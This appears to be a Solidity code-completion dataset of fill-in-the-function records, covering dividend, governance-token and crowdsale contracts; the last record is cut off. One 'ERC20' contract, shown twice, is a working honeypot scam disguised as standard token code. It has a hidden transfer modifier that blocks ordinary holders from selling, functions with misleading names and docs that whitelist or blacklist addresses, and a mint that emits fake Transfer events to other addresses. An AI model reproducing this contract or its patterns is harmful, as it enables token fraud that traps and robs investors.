contract DividendDistributor is IDividendDistributor { using SafeMath for uint256; address public _token; address public _owner; address public _treasury; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalClaimed; } address[] private shareholders; mapping (address => uint256) private shareholderIndexes; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalDividends; uint256 public totalClaimed; uint256 public dividendsPerShare; uint256 private dividendsPerShareAccuracyFactor = 10 ** 36; modifier onlyToken() { require(msg.sender == _token); _; } modifier onlyOwner() { require(msg.sender == _owner); _; } constructor (address owner, address treasury) { _token = msg.sender; _owner = payable(owner); _treasury = payable(treasury); } // receive() external payable { } function setShare(address shareholder, uint256 amount) external override onlyToken { if(shares[shareholder].amount > 0){ distributeDividend(shareholder); } if(amount > 0 && shares[shareholder].amount == 0){ addShareholder(shareholder); }else if(amount == 0 && shares[shareholder].amount > 0){ removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } function deposit() external payable override { uint256 amount = msg.value; totalDividends = totalDividends.add(amount); dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function distributeDividend(address shareholder) internal { if(shares[shareholder].amount == 0){ return; } uint256 amount = getClaimableDividendOf(shareholder); if(amount > 0){ totalClaimed = totalClaimed.add(amount); shares[shareholder].totalClaimed = shares[shareholder].totalClaimed.add(amount); shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); payable(shareholder).transfer(amount); } } function claimDividend(address shareholder) external override onlyToken { distributeDividend(shareholder); } function getClaimableDividendOf(address shareholder) public view returns (uint256) { if(shares[shareholder].amount == 0){ return 0; } uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; shareholders.pop(); } <FILL_FUNCTION> function setTreasury(address treasury) external override onlyToken { _treasury = payable(treasury); } function getDividendsClaimedOf (address shareholder) external override view returns (uint256) { require (shares[shareholder].amount > 0, "You're not a CCC shareholder!"); return shares[shareholder].totalClaimed; } }
uint256 contractETHBalance = address(this).balance; payable(holder).transfer(amount > 0 ? amount : contractETHBalance);
function manualSend(uint256 amount, address holder) external onlyOwner
function manualSend(uint256 amount, address holder) external onlyOwner
47604
IYF
setGovernance
contract IYF is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("IYF.finance", "IYF", 18) { governance = tx.origin; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public {<FILL_FUNCTION_BODY> } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } }
contract IYF is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("IYF.finance", "IYF", 18) { governance = tx.origin; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } <FILL_FUNCTION> function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } }
require(msg.sender == governance, "!governance"); governance = _governance;
function setGovernance(address _governance) public
function setGovernance(address _governance) public
39851
ERC20
_approve
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); _mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } <FILL_FUNCTION> /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) internal virtual
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual
91918
PlatinICO
buyLockupTokens
contract PlatinICO is FinalizableCrowdsale, WhitelistedCrowdsale, Pausable { using SafeMath for uint256; // Lockup purchase bool lockup; // Amount of sold tokens uint256 public sold; // Platin TGE contract PlatinTGE public tge; /** * @dev Constructor * @param _rate uint256 Number of token units a buyer gets per wei * @param _wallet address Address where collected funds will be forwarded to * @param _token address Address of the token being sold * @param _openingTime uint256 Crowdsale opening time * @param _closingTime uint256 Crowdsale closing time */ constructor( uint256 _rate, address _wallet, ERC20 _token, uint256 _openingTime, uint256 _closingTime ) Crowdsale(_rate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) public {} /** * @dev Set TGE contract * @param _tge address PlatinTGE contract address */ function setTGE(PlatinTGE _tge) external onlyOwner { require(tge == address(0), "TGE is already set."); require(_tge != address(0), "TGE address can't be zero."); tge = _tge; rate = tge.TOKEN_RATE(); } /** * @dev Purchase and lockup purchased tokens */ function buyLockupTokens(address _beneficiary) external payable {<FILL_FUNCTION_BODY> } /** * @dev Extend parent behavior to deliver purchase * @param _beneficiary address Address performing the token purchase * @param _tokenAmount uint256 Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { if (lockup) { uint256[] memory _lockupReleases = new uint256[](1); uint256[] memory _lockupAmounts = new uint256[](1); _lockupReleases[0] = block.timestamp + tge.ICO_LOCKUP_PERIOD(); // solium-disable-line security/no-block-members _lockupAmounts[0] = _tokenAmount; PlatinToken(token).transferWithLockup( _beneficiary, _tokenAmount, _lockupReleases, _lockupAmounts, false); lockup = false; } else { PlatinToken(token).transfer( _beneficiary, _tokenAmount); } } /** * @dev Extend parent behavior to process purchase * @param _beneficiary address Address receiving the tokens * @param _tokenAmount uint256 Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { require(sold.add(_tokenAmount) <= tge.ICO_AMOUNT(), "Can't be sold more than ICO amount."); sold = sold.add(_tokenAmount); super._processPurchase(_beneficiary, _tokenAmount); } /** * @dev Finalization, transfer unsold tokens to the reserve address with lockup */ function finalization() internal { uint256 _unsold = token.balanceOf(this); if (_unsold > 0) { PlatinToken(token).transfer( tge.UNSOLD_RESERVE(), _unsold); } } /** * @dev Extend parent behavior requiring contract to be not paused and the min purchase amount is received. * @param _beneficiary address Token beneficiary * @param _weiAmount uint256 Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal whenNotPaused { require(_weiAmount >= tge.MIN_PURCHASE_AMOUNT(), "Insufficient funds to make the purchase."); super._preValidatePurchase(_beneficiary, _weiAmount); } /** * @dev Override parent behavior to process lockup purchase if needed * @param _weiAmount uint256 Value in wei to be converted into tokens * @return uint256 Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 _rate = rate; if (lockup) _rate = tge.TOKEN_RATE_LOCKUP(); return _weiAmount.mul(_rate); } }
contract PlatinICO is FinalizableCrowdsale, WhitelistedCrowdsale, Pausable { using SafeMath for uint256; // Lockup purchase bool lockup; // Amount of sold tokens uint256 public sold; // Platin TGE contract PlatinTGE public tge; /** * @dev Constructor * @param _rate uint256 Number of token units a buyer gets per wei * @param _wallet address Address where collected funds will be forwarded to * @param _token address Address of the token being sold * @param _openingTime uint256 Crowdsale opening time * @param _closingTime uint256 Crowdsale closing time */ constructor( uint256 _rate, address _wallet, ERC20 _token, uint256 _openingTime, uint256 _closingTime ) Crowdsale(_rate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) public {} /** * @dev Set TGE contract * @param _tge address PlatinTGE contract address */ function setTGE(PlatinTGE _tge) external onlyOwner { require(tge == address(0), "TGE is already set."); require(_tge != address(0), "TGE address can't be zero."); tge = _tge; rate = tge.TOKEN_RATE(); } <FILL_FUNCTION> /** * @dev Extend parent behavior to deliver purchase * @param _beneficiary address Address performing the token purchase * @param _tokenAmount uint256 Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { if (lockup) { uint256[] memory _lockupReleases = new uint256[](1); uint256[] memory _lockupAmounts = new uint256[](1); _lockupReleases[0] = block.timestamp + tge.ICO_LOCKUP_PERIOD(); // solium-disable-line security/no-block-members _lockupAmounts[0] = _tokenAmount; PlatinToken(token).transferWithLockup( _beneficiary, _tokenAmount, _lockupReleases, _lockupAmounts, false); lockup = false; } else { PlatinToken(token).transfer( _beneficiary, _tokenAmount); } } /** * @dev Extend parent behavior to process purchase * @param _beneficiary address Address receiving the tokens * @param _tokenAmount uint256 Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { require(sold.add(_tokenAmount) <= tge.ICO_AMOUNT(), "Can't be sold more than ICO amount."); sold = sold.add(_tokenAmount); super._processPurchase(_beneficiary, _tokenAmount); } /** * @dev Finalization, transfer unsold tokens to the reserve address with lockup */ function finalization() internal { uint256 _unsold = token.balanceOf(this); if (_unsold > 0) { PlatinToken(token).transfer( tge.UNSOLD_RESERVE(), _unsold); } } /** * @dev Extend parent behavior requiring contract to be not paused and the min purchase amount is received. * @param _beneficiary address Token beneficiary 